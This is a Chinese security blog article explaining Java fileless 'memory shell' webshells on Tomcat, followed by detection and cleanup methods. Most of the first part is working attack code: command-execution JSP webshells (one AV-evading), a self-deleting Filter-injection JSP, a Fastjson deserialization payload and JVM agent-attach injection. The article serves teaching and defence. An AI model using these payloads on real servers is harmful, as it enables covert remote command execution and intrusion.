0x01 内存马概述
1.1 内存马产生的背景
在早期,web应用的安全防护非常有限,webshell都是以文件落地形式存在,攻击者通过文件上传或者命令执行等漏洞将木马文件上传到磁盘中,然后找到上传的路径进行webshell的连接,实现远程控制,常见的有大马、小马、一句话木马等。
<% if("security".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>
当我们上传该jsp文件时,会发现刚传上去就会服务器杀软给删除
ESET是因为检测到了Runtime.getRuntime().exec(),所以判定为Java的webshell。下面jsp代码进行了免杀处理,bcel可以加载一种特殊格式的字符串,把它加载到jvm中,那么就会得到它的恶意类的class,然后通过反射或者其他方式把恶意类构造出来再调用它的方法
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String bcel="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$TA$Q$3d$93l2$c9$b2$E$S$c2$cd$bb$u$92$84K$U$f1$G$I$C$82$82$B$zba$e5q$b3$Zp1$d9Mm6$W$7f$e4$abVib$99$w$l$7d$f0$H$fc$H$3fB$ec$d9$EB$8aXV$w$3d$3d$dd$3d$dd$a7$cf$f4$ec$cf$3f$df$be$D$98$c3$8e$8a$u$a68$a6U$f8$e4$3a$c3$91Vq$hw$a4$98Uq$Xs$w$C$b8$a7B$c1$7d$v$k$c8$c0$87$n$3c$92$eb$7c$Y$fdX$e0X$e4x$cc$e0wD$85$n$969$d4$df$eb$e9$a2n$j$a4$b3$aecZ$H$L$M$c1E$d32$dd$r$86$c1$c4ywr$8fAY$b3$L$82$a1$_cZb$a7Z$ca$L$e7$b5$9e$_$K$99$ce6$f4$e2$9e$ee$98r$df2$w$ee$5b$93J$F3$ae$a8$b8$94$deo$94$K$M$beJ$9ea$f4$5c$fe$d5$aaY$y$IG$a2p$84N$g$c3H3$c8$b4$d3$ab$d5$fd$7d$e1$88$c2$ae$e7$a1$Y$a5H$I$Yz$b3$aen$bc$db$d6$cb$5eE$af$c3$rb$89$IbP$d7$8f$MQvM$db$aap$y3$84$5c$bbY$89$n$9eHvk_$cd$daU$c7$Q$h$a6$E$l$96$a0gd$94$868$9e0$M$ff$D1$c3Pw$98$d4$e5$89c$d3$wW$5d$3a$r$f4R$d3$c7$b1$a2a$Vk$g$9eb$9dcC$c33$3c$97$856$a5$d8$d2$f0$CI$N$Zl30UCB$eeb$Y$90$9c$S$y$86$fe6$98$97$f9Cat$9aN$fa$ih$9bN$c9$a0kH$c8$ab$8c$b6$7d$bbU$cb5K$d4$b3z$m$dc$d3$cd$60$HI$z$b3$a4$5e$i$J$83a$a2$db$88$9c1$bdrlCT$w$L$j$95ZF$86$IU$3aC$K$b1$7bR$ad$93$z$3a$3e$92$e8$ea$90$3d$M$b4$5d$ad$c9$90$d6$90$9c$9f$8c7$lA$bd$5c$W$W$N$dd$f4$7f$d0v$ce$m$ae$d3$83$89$d2$cb$a3i$95$b4$93$e6$p$3d$8eAZ$87h$f7$LAzn$c0V$aa$O$d6$80$_W$87$7f$bb$B$r$d7$40$m$f7$V$c1$c9$gx$N$a1$3a$c2u$a8$3bl$5e$99$ae$a1$t7$af$fc$40ljT$a9A$8b$f5$92x$f3$e1$f8wj$aa$86$c8$X$f4$7d$a2l$7e$M$93$iC$88d$90$k1$87F$fa8$c2t$ff$wf$d1$83$V$f4b$T$R$8cx_$F$P$BFq$B$f0$b4$8b$84$94$d1$99$r$5c$c2eB$3aN$bf$x$b8Jy$T$94$f5$gy$V$ea$Mt$c2wL$a6$A$c7$Y$c7$N$8e$9b$i$e3$a4$80$d2$de$o$b7BI$s$e8OCGR$b6$9b$a6$95$d1$gH$7dF$dfG$8f$8da$P$a34F$3d4Z3$a0$85$86$n$e5EM$fe$F$l$eefK$c2$E$A$A";
String a=request.getParameter("cmd");
Class<?> _loader=Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader=(ClassLoader)_loader.newInstance();
Class<?> _obj=loader.loadClass(bcel);
Constructor<?> constructor=_obj.getConstructor(String.class);
Object obj =constructor.newInstance(a);
response.getWriter().println("<pre>");
response.getWriter().println(obj.toString());
response.getWriter().println("</pre>");
%>
我们来分析一下文件型webshell的工作流程
-
上传 JSP 文件
-
JSP 文件转换为 Servlet
-
Servlet 编译成字节码
-
加载并执行 Servlet
-
生成 HTML 响应
-
返回响应给客户端
这种落地式webshell的有一些很明显的缺点:
1、需要落地到磁盘,现在的设备对文件马静态检测率非常高,文件马几乎无法落地
2、网站目录没有写入的权限
3、文件路径需要能被解析
在与安全对抗的过程中,攻击者意识到传统的木马的这些弱点,一旦被检测到文件,攻击者的控制途径将被切断。
普通shell以文件方式存在,做恶意文件识别相对来说是简单的,但是恶意代码被加载到内存中之后,想要查杀是非常困难的。于是内存马出现了,内存马无文件形式不落地驻留内存且难以检测,标志着持久化攻击技术的一次重大升级,所以内存马技术越来越流行。那什么是内存马呢?内存马又是怎么被注入的呢?
1.2 Java内存马的基本原理
内存马是一种不需要在磁盘上写入任何文件、通过直接加载到目标系统内存中的恶意代码。它依赖于Java虚拟机(JVM)动态类加载特性,通过注入和持久化恶意类,实现远程控制、信息窃取或其他恶意操作。由于它们驻留在内存中,除非重启或手动清理,否则内存马在攻击期间会持续存在。
那内存马是怎么实现的呢,这里我们以Tomcat为例,Tomcat 设计了 4 种容器,分别是 Engine
、Host
、Context
和 Wrapper
。Server
代表 Tomcat 实例。
假如有用户访问一个 URL,比如图中的http://user.shopping.com:8080/order/buy
,Tomcat 如何将这个 URL 定位到一个 Servlet 呢?
-
首先根据协议和端口号确定 Service 和 Engine。Tomcat 默认的 HTTP 连接器监听 8080 端口、默认的 AJP 连接器监听 8009 端口。上面例子中的 URL 访问的是 8080 端口,因此这个请求会被 HTTP 连接器接收,而一个连接器是属于一个 Service 组件的,这样 Service 组件就确定了。我们还知道一个 Service 组件里除了有多个连接器,还有一个容器组件,具体来说就是一个 Engine 容器,因此 Service 确定了也就意味着 Engine 也确定了。
-
根据域名选定 Host。 Service 和 Engine 确定后,Mapper 组件通过 URL 中的域名去查找相应的 Host 容器,比如例子中的 URL 访问的域名是
user.shopping.com
,因此 Mapper 会找到 Host2 这个容器。 -
根据 URL 路径找到 Context 组件。 Host 确定以后,Mapper 根据 URL 的路径来匹配相应的 Web 应用的路径,比如例子中访问的是 /order,因此找到了 Context4 这个 Context 容器。
-
根据 URL 路径找到 Wrapper(Servlet)。 Context 确定后,Mapper 再根据 web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet。
内存马的核心概念之一就是获取并控制JVM的上下文(context),即控制JVM中运行时的类、方法、字段、线程等内容。通过操控这些上下文信息,攻击者可以实现对程序行为的修改,从而绕过正常的控制流,执行恶意代码。 可以用class类加载机制实现内存马不落地,只有获取到了context攻击者才能进行下一步,那怎么去获取到context呢?
1)通过jsp的request对象来获取
通过 jsp的 pageContext
对象可以直接获取当前 Web 应用的 ServletContext
对象,这是 jsp 特性决定的。但是它只能操作当前 Web 应用的上下文,无法跨 Web 应用操作。这确实是 JSP 内存马的一大限制,也是为什么 jsp 方式更适合通过 WebShell(如文件上传漏洞)植入,而不适合反序列化漏洞。
<%
// 获取当前应用的 ServletContext
ServletContext context = pageContext.getServletContext();
out.println("Context Path: " + context.getContextPath());
%>
2) 通过Thread来获取
Tomcat中每个请求的处理过程都会分配一个独立的线程,这个线程会保存当前请求的上下文环境,例如 HttpServletRequest
和 HttpServletResponse
,以及与请求相关的 Context
对象。 可以获取当前线程对象,而线程中有很多对象可以被间接引用,沿着引用链逆向查找,最终可以获取到系统中所有的 context 对象,也能向其他 web 应用注入内存马。
成功在线程中找到了需要的tomcat的context对象
// 获取context
// org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[3].target.this$0.children.get("localhost").findChildren()[0];
Thread.currentThread().group.threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
继续演示下怎么在context中插入一个恶意的filter
// 1.获取context对象
org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
// 2.创建并配置 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("NewFilter");
filterDef.setFilter(new FilterDemo3()); // 这里是恶意的filter实例
standardContext.addFilterDef(filterDef);
// 3.创建并配置 ApplicationFilterConfig
ApplicationFilterConfig applicationFilterConfig = new ApplicationFilterConfig(standardContext, filterDef);
standardContext.filterConfigs.put("NewFilter", applicationFilterConfig);
// 4.配置 FilterMap
FilterMap f = new FilterMap();
f.setFilterName("NewFilter");
f.addURLPattern("/calc/*");
standardContext.addFilterMap(f);
Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
不同的容器,他对应的context的名称不一样,如 Tomcat 中用于表示 Web 应用上下文的具体实现类为: StandardContext,spring中为 ApplicationContext,weblogic中为 WebAppServletContext 等等。那我们继续看一下Jave的内存马究竟有哪些分类呢?
1.3 Java内存马的类型
Java内存马可以通过多种方式进行实现,依据不同的注入方式和运行原理,常见的Java内存马类型包括:基于Servlet的内存马、基于Filter的内存马、基于Listener的内存马、以及基于字节码操作的内存马等等,每一种类型的内存马都有其独特的实现原理和应用场景。
首先我们看下Servlet-Api内存马,本质可以理解成就是web组件。 他的核心原理为:通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。
Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术,通过 Instrumentation (Java Agent API),攻击者能够以一种无侵入的方式,在 JVM 加载某个 class 之前修改其字节码的内容,或者修改已经被 JVM 加载过的 class,此技术正常情况下可被用于 Java 程序的性能监控、信息收集、问题诊断等。而 Agent 内存马的实现就是利用了这一特性,动态修改特定类的特定方法,在内存中注入恶意代码。
Java Agent 技术的实现主要分为两种类型:一种是在 JVM 启动前加载的 premain,另一种是在 JVM 启动后加载的 agentmain。可以在加载java文件之前做拦截把字节码做修改,可以在运行期将已经加载的类的字节码做变更。通过 -javaagent 参数可以指定一个特定的 jar 包来启动 Instrumentation 代理程序。JVM启动时 会先执行 premain 方法,大部分类加载都会通过该方法。
java -jar MyApp.jar
java -javaagent:agent.jar -jar MyApp.jar
动态attach:支持在类加载后再次加载该类,也就是重定义类,在重定义的时候可以修改类,可以多次attach,且可以销毁attach的agent,这种方式对类的修改有较大的限制,修改后的类要兼容原来的旧类。
premain
首先准备一个被注入的程序且打包成jar
package com.study;
public class MyApp {
public static String getFruit() {
return "apple";
}
public static void printFruit() throws InterruptedException {
for (int i = 0; i < 100; i++) {
System.out.println(getFruit());
Thread.sleep(3000);
}
}
public static void main(String[] args) throws InterruptedException {
System.out.println("-----开始执行MyApp中的main方法-----");
printFruit();
}
}
编写agent类
package com.study;
import java.lang.instrument.Instrumentation;
public class MyAgent {
public static void premain(String args, Instrumentation inst) {
System.out.println("-----开始执行MyAgent的premain方法-----");
for (int i = 0; i < 3; i++) {
System.out.println("premain Agent ! ! ! ");
}
// 注册字节码转换器
inst.addTransformer(new MyTransformer());
}
}
retransformClass
package com.study;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!className.equals("com/study/MyApp")) {
return classfileBuffer;
}
System.out.println("find target class, start to replace");
// 使用 Javassist 来修改字节码
try {
// 创建一个 ClassPool 对象,这是 Javassist 用于加载和修改类的容器
ClassPool pool = ClassPool.getDefault();
// 使用 ClassPool 来加载目标类
CtClass ctClass = pool.get("com.study.MyApp");
// 获取 getFruit 方法,并修改其字节码
CtMethod ctMethod = ctClass.getDeclaredMethod("getFruit");
// 修改方法体,让它返回 "banana" 而不是 "apple"
ctMethod.setBody("{ return "banana"; }");
// 将修改后的类转为字节数组并返回
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
// 如果修改失败,返回原字节码
return classfileBuffer;
}
}
指定程序执行的入口 接着在resource/META-INF/
下创建MANIFEST.MF
清单文件用以指定premain-Agent
的启动类
添加maven打包插件,设置premainClass属性,并且打包成Jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.study</groupId>
<artifactId>JavaAgent</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>C:IDEjavajdk8libtools.jar</systemPath>
</dependency>
<!--字节码操作工具-->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version> <!-- 请确保版本号为最新 -->
</dependency>
</dependencies>
<build>
<plugins>
<!--Maven打包依赖的插件-->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
<configuration>
<archive>
<manifestEntries>
<premainClass>com.study.MyAgent</premainClass>
<agentClass>com.study.MyAgent</agentClass>
</manifestEntries>
<manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
使用Agent,我们发现premain先于main的执行,且实现了字节码的篡改
java -javaagent:JavaAgent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar MyAPP.jar
agentmain
编写agent类
package com.study;
import java.lang.instrument.Instrumentation;
public class MyAgent {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("-----开始执行MyAgent的agentmain方法-----");
for (int i = 0; i < 3; i++) {
System.out.println("agentmain Agent ! ! ! ");
}
}
}
创建 MANIFEST.MF
配置文件,将 Agent-Class
指定为包含 agentmain()
方法的类,需要保留最后一行为空行。该配置文件一般会将 Can-Redefine-Classes
和 Can-Retransform-Classes
配置为 true
编写attach程序
package com.study;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Attach {
public static void main(String[] args) {
try {
String PID = getPID("MyAPP.jar"); // jps -l 命令获取同样的效果
if (PID == null) {
System.err.println("未找到目标 JVM 的 PID");
return;
}
// 连接指定JVM
VirtualMachine vm = VirtualMachine.attach(PID);
// 加载Agent
vm.loadAgent("D:\Maye_Tools\charonlight\projects\java\JavaSec\JavaAgent\JavaAgent\target\JavaAgent-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
vm.detach();
} catch (Exception e) {
e.printStackTrace();
}
}
public static String getPID(String target) {
// 调用 VirtualMachine.list() 获取正在运行的 JVM 列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历每一个正在运行的 JVM,打印出 JVM 名称和 PID
for (VirtualMachineDescriptor vmd : list) {
System.out.println("JVM Name: " + vmd.displayName() + " | PID: " + vmd.id());
// 如果 JVM 名称包含 MyAPP.jar,则输出其 PID
if (vmd.displayName().contains(target)) {
System.out.println("Target PID: " + vmd.id());
return vmd.id();
}
}
return null;
}
}
先启动目标Jar
再启动attach程序进行注入恶意代码
1.4 Java内存马的使用场景
内存马适用的一些场景:
1、网络环境不支持反弹shell,目标机器不出网
2、没有写入文件的权限
3、可以写入文件,但是目标机器有监控或者杀软等设备,写木马文件会导致告警
4、目标使用的是springboot等框架,即默认不解析jsp文件
5、......
当然内存马也有一些缺点,实战过程中需要注意:
1、内存马是驻留在内存里面的,重启和进程退出会导致内存马失效
2、一些内存监控工具和技术(如基于行为的检测、内存分析工具、沙箱等)可以有效检测和识别内存中的恶意代码
3、......
0x02 内存马注入实战演示
基于JSP注入内存马
基于反序列化漏洞注入内存马
基于Agent注入内存马
2.1 JSP注入Filter内存马
Servlet-Api类型内存马有3类,原理大差不差,实战中使用较为频繁的是Filter内存马,故这里以Filter内存马作为案例进行演示。Filter 表示过滤器,是 JavaWeb 三大组件(Servlet、Filter、Listener)之一。过滤器可以把对资源的请求拦截下来,从而实现一些特殊的功能。首先我们分析下实现filter注入的代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%@ page import="java.io.File" %>
<%
class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
}
%>
<%
// 开始动态注册恶意 Filter
// 从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "MyFilter";
// 判断是否存在这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性
MyFilter filter = new MyFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/filter");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 添加恶意的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
// 反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject Filter MemoryShell Success ! ! !");
}
else{
out.write("Filter MemoryShell Injected !!!");
}
// 自删除
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
实现效果,请求该jsp会发现提示内存马已经注入
刷新再次访问,jsp已经实现自删除
请求webshell路径,即使服务器中的jsp被删除,依旧可以访问,说明webshell已经在内存中
但这是无文件落地吗?当然不是,即使服务器中没有jsp文件,但是根据jsp的执行原理,jsp被执行是需要经过编译的,所以服务器中是落地了对应的class文件,那么有没有什么办法直接在jvm中注入字节码吗?当然有,那就是借助反序列化等漏洞,如Fastjson反序列化、shiro反序列化等等
2.2 Fastjson反序列化注入内存马
我们使用bcel链进行复现不出网的注入fastjson内存马,poc如下
{
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dQMO$db$40$Q$7d$9b8$b1c$9c$G$C$e1$bb$b4Ph$D$H$7c$e9$N$c4$F$81$84pK$d5$m8o6K$d8$d4$b1$p$7b$8d$e0$Xq$e6$C$a8$H$7e$A$3f$K1kR$40$a2$c2$92g$e6$cd$ec$7b3$b3$7b$ff$f0$f7$O$c0w$7cu$e1$60$ca$c54f$i$cc$g$3fgc$deE$J$lm$y$d8$f8$c4P$deT$91$d2$5b$M$c5$e6$ea$R$83$b5$jw$qC$zP$91$fc$99$f5$db29$e4$ed$902$f5$m$W$3c$3c$e2$892x$98$b4$f4$a9J$Z$W$C$R$f7$fdTg$9d$L$ff$y$L$p$ff$84$a7$ba$97$c6$91O$U$b1$c1$e0l$8ap$d8$86$R$ad$R$f4$f8$Z$f7U$ec$ef$j$ec$9c$L9$d0$w$8e$e8X$b5$a5$b9$f8$f3$83$Pry$9a$94$c1m$c5Y$o$e4$ae2$ed$wFn$ddp$3dT$e0$da$f8$eca$RK4$87$vx$f8$82e$86$f1$ffh$7bX$81$cb0$ff$de$98$M$a393$e4Q$d7$3fh$f7$a4$d0$Mc$_$a9$dfY$a4U$9f$a6p$bbR$3f$83Fs5xs$86V$b1$e4$b9$q$c9o$cdW$d5$96NT$d4$ddxM$f8$95$c4B$a6$v$Rj$D$w$ea$fc$C$O$T$$$q$zf$d3$e3$99$af$Af$d6$r$3bB$c8$t$cf$c8$97$d6n$c0$ae$f2$b2G$b6$fc$94D$95$ac7$8c$3f$a0F$de$c1$e83$99$e7b$40$fd$W$85z$f1$g$d6$f1$r$9c$fd$b5k$94$af$f2$7c$85$b8$r$Us$c5I$8a$M$bbBLs$dfUR$Z$a3$e8_$87$w$y$c2uB$e3$f4$db$u$E6$s$y$w4$f2$a1$s$l$B$H$c1$82$e1$86$C$A$A"
}
使用工具生成tomcat的内存马
发起请求并且进行连接测试
我们将内存马反编译进行分析下,发现这是一个注入器,内存马是在这个编码的字符串中
再对编码进行base64解码,可以清晰的发现getContext方法,就是前面说的通过线程的方法获取Context
再对编码的字符串进行base64+Gzip反编译,可以发现下面就是冰蝎的连接逻辑代码了
至此 webshell加载 从 文件类型到内存类型,接下来分析下agent内存马
2.3 注入Agent内存马
这里我们直接打入一个agent内存马,会注入所有的Java进程中,改内存马工具基于vagent内存马二开,vagent下载:https://github.com/veo/vagent
java -jar Myagent.jar
0x03 内存马的检测与防御
3.1 内存马定位排查思路
当应急或运维人员遇到疑似内存马的安全事件时,应如何快速确认其存在并定位具体位置?
以下是基本思路:
1)日志和静态文件等排查
-
确认运行的中间件版本和补丁状态,查看服务器日志是否存在异常请求或错误堆栈信息。
-
检查应用访问记录是否有未知的或可疑的请求。
-
收集部署的 WAR 包或 JAR 包列表,比较部署包与备份包,反编译 WAR 包、JAR 包,搜索恶意代码特征
-
检查是否存在新增或篡改的文件,是否有上传的恶意jar包、jsp等等
2)流量特征分析
通过分析网络流量,可以识别出潜在的内存马活动。以下是一些常见的可疑流量特征:
• 异常请求路径 : 如访问不存在的可疑路径,如请求/shell、/memshell、/hacker、/cmd、/test等等
• 异常参数 : 携带可疑参数,如/shell?cmd=whoami,或者请求体中包含恶意命令
• 特殊的请求头值: 攻击者可能会使用特殊的 User-Agent、Referer 等请求头值来标识内存马,或者使用自定义的请求头来控制内存马命令执行,如cmd:whoami、Test:whoami等等。
• 异常的响应时间: 内存马执行命令可能导致响应时间变长,因为命令执行需要时间以及可能还执行了加解密等耗时操作。
• 数据包大小变动较大: 内存马会执行各种恶意命令,例如文件读取、系统查询等,这些操作的结果会根据命令内容的不同而有所不同。
3)内存代码特征分析
既然是内存马,那么不管内存马怎么伪装,内存中肯定都是存在恶意代码,所以可以将内存中的class全部给dump下来,反编译成源码,根据webshell的特征进行判断是否为风险类,下列为一些可疑特征
• 存在连接密码: 内存马一般会设置连接密码,正常的代码一般不会设置。
• 自定义路由: 内存马会注册的路由,分析注册的路由是否是正常的逻辑。
• 异常类名、包名: 类名是FilterShell、cmd、Shell这些,需要注意大部分内存马生成工具生成的类名和包名一般都进行了伪装
• 动态注册组件:获取所有注册的 Filter 或 Servlet,检查是否存在动态注入的恶意组件,如果组件已经注册,但是磁盘上没有对应的class文件,即大概率为内存马
• 加解密操作: 内存马一般会使用算法去做流量加密,如果代码中有 AES、Base64 等相关的类和方法需要重点分析。
• 恶意的方法: 代码中存在 Runtime.getRuntime().exec(), ProcessBuilder 等方法,这些方法是用于执行系统命令的,大概率是内存马才会有
3.2 工具查杀
1)tomcat-memshell-scanner
下载:https://github.com/c0ny1/java-memshell-scanner
这个工具支持扫描出内存中的servlet,且可以动态去清楚内存马,也可以直接dump下class的代码
但这个工具无法扫描出agent内存马,有些项目对其进行了二开
https://github.com/xyy-ws/NoAgent-memshell-scanner
https://github.com/suizhibo/MemShellKiller
2)Arthas
Arthas 是一款线上监控诊断产品,通过全局视角实时查看应用 load、内存、gc、线程的状态信息,并能在不修改应用代码的情况下,对业务问题进行诊断,包括查看方法调用的出入参、异常,监测方法执行耗时,类加载信息等,大大提升线上问题排查效率。
// 下载并且启动
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
// 查看 Mbean 的信息,查看异常Filter/Servlet节点
mbean | grep -E "Servlet|Filter"
// 搜索Servlet、Filter
sc *.Servlet
sc *.Filter
// 反编译字节码
jad --source-only org.apache.logging.ContextLoaderZlecjFilter
// 将JVM中所有的classloader的信息统计出来
classloader
// heapdump生成 Java 应用程序的堆转储文件
heapdump
sc *.Filter,初步判断哪个可能是内存马
jad --source-only org.apache.logging.ContextLoaderZlecjFilter
3)Shell-Analyzer
这个工具支持本地和远程两种模式,且为GUI,使用起来很简单,且支持直接反编译代码和动态清除内存马,工具下载:https://github.com/4ra1n/shell-analyzer
3.2 内存马后续处理
1、重启:通过重启系统,操作系统的内存空间会被完全清空,这会中断恶意代码的执行。内存中的内存马会随着重启而丧失。
2、修复漏洞:内存马往往是通过利用系统漏洞或应用漏洞实现注入的。因此,在清除内存马之后,漏洞修复是防止未来再次受到攻击的关键。
参考链接:
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
...
当文章涉及侵权问题时,请与我联系,我将立即删除。
原文始发于微信公众号(Sec探索者):【Java安全】浅谈内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论